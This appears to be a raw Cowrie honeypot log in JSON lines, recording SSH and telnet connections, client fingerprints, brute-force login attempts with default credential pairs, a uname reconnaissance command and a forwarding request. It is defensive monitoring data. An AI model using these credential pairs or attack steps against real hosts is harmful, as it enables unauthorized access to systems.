{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":37166,"dst_ip":"10.17.0.5","dst_port":22,"session":"53779be6c83a","protocol":"ssh","message":"New connection: 176.53.159.196:37166 (10.17.0.5:22) [session: 53779be6c83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:32.405646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:32.409343Z","src_ip":"176.53.159.196","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:32.509616Z","src_ip":"176.53.159.196","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:32.850106Z","src_ip":"176.53.159.196","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:32.953067Z","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47388,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fcf0f07e3e","protocol":"ssh","message":"New connection: 91.92.40.153:47388 (10.17.0.5:22) [session: 16fcf0f07e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.008692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.017288Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.061402Z","src_ip":"176.53.159.196","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.108202Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.165278Z","src_ip":"176.53.159.196","session":"53779be6c83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.235754Z","src_ip":"160.187.174.22","session":"48dadaca0e67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.553291Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.858646Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:33.861859Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.044065Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":38838,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c038391cf2f","protocol":"ssh","message":"New connection: 143.20.185.207:38838 (159.203.135.109:22) [session: 0c038391cf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.055181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.060681Z","src_ip":"143.20.185.207","session":"0c038391cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.064604Z","src_ip":"91.92.40.153","session":"16fcf0f07e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.187731Z","src_ip":"143.20.185.207","session":"0c038391cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33240,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7be3373a5fb","protocol":"telnet","message":"New connection: 170.64.224.25:33240 (159.203.135.109:23) [session: f7be3373a5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.231842Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.487453Z","src_ip":"160.187.174.22","session":"48dadaca0e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU32GBAMD","message":"login attempt [root/XYZZ#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.578179Z","src_ip":"143.20.185.207","session":"0c038391cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:34.996909Z","src_ip":"139.99.74.35","session":"ba844f993697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60260,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9165df0d867","protocol":"ssh","message":"New connection: 139.99.74.35:60260 (159.203.135.109:22) [session: f9165df0d867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:35.233308Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:35.709311Z","src_ip":"143.20.185.207","session":"0c038391cf2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47442,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c27b9e27f16","protocol":"ssh","message":"New connection: 91.92.40.153:47442 (10.17.0.5:22) [session: 6c27b9e27f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:38.515567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:38.755428Z","src_ip":"91.92.40.153","session":"6c27b9e27f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:38.758493Z","src_ip":"91.92.40.153","session":"6c27b9e27f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:40.133935Z","src_ip":"91.92.40.153","session":"6c27b9e27f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:41.210802Z","src_ip":"139.99.74.35","session":"f9165df0d867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60264,"dst_ip":"159.203.135.109","dst_port":22,"session":"712149d3897a","protocol":"ssh","message":"New connection: 139.99.74.35:60264 (159.203.135.109:22) [session: 712149d3897a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:41.441042Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:41.499428Z","src_ip":"91.92.40.153","session":"6c27b9e27f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":42518,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7dec4c71d1d","protocol":"ssh","message":"New connection: 91.92.40.153:42518 (10.17.0.5:22) [session: c7dec4c71d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:44.537000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:44.687109Z","src_ip":"91.92.40.153","session":"c7dec4c71d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:44.690495Z","src_ip":"91.92.40.153","session":"c7dec4c71d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.394288301467896,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:45.493352Z","src_ip":"170.64.224.25","session":"cb31b2f7e823","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:46.081041Z","src_ip":"91.92.40.153","session":"c7dec4c71d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:46.219625Z","src_ip":"139.99.74.35","session":"712149d3897a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47502,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f2bdd0fe1f","protocol":"ssh","message":"New connection: 139.99.74.35:47502 (159.203.135.109:22) [session: 09f2bdd0fe1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:46.451126Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:47.220728Z","src_ip":"91.92.40.153","session":"c7dec4c71d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3628b4dd7d2","protocol":"ssh","message":"New connection: 91.92.40.153:42604 (10.17.0.5:22) [session: f3628b4dd7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:50.861942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:50.941286Z","src_ip":"91.92.40.153","session":"f3628b4dd7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:50.997097Z","src_ip":"91.92.40.153","session":"f3628b4dd7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:51.219638Z","src_ip":"139.99.74.35","session":"09f2bdd0fe1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9c8bbdd4b0","protocol":"ssh","message":"New connection: 139.99.74.35:47514 (159.203.135.109:22) [session: ec9c8bbdd4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:51.452658Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:51.580925Z","src_ip":"91.92.40.153","session":"f3628b4dd7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:52.968379Z","src_ip":"91.92.40.153","session":"f3628b4dd7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:56.224037Z","src_ip":"139.99.74.35","session":"ec9c8bbdd4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42066,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd85e1d8736","protocol":"ssh","message":"New connection: 139.99.74.35:42066 (159.203.135.109:22) [session: 6fd85e1d8736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:56.451172Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41660,"dst_ip":"10.17.0.5","dst_port":22,"session":"18acb01e60c3","protocol":"ssh","message":"New connection: 91.92.40.153:41660 (10.17.0.5:22) [session: 18acb01e60c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:56.760736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.008567Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
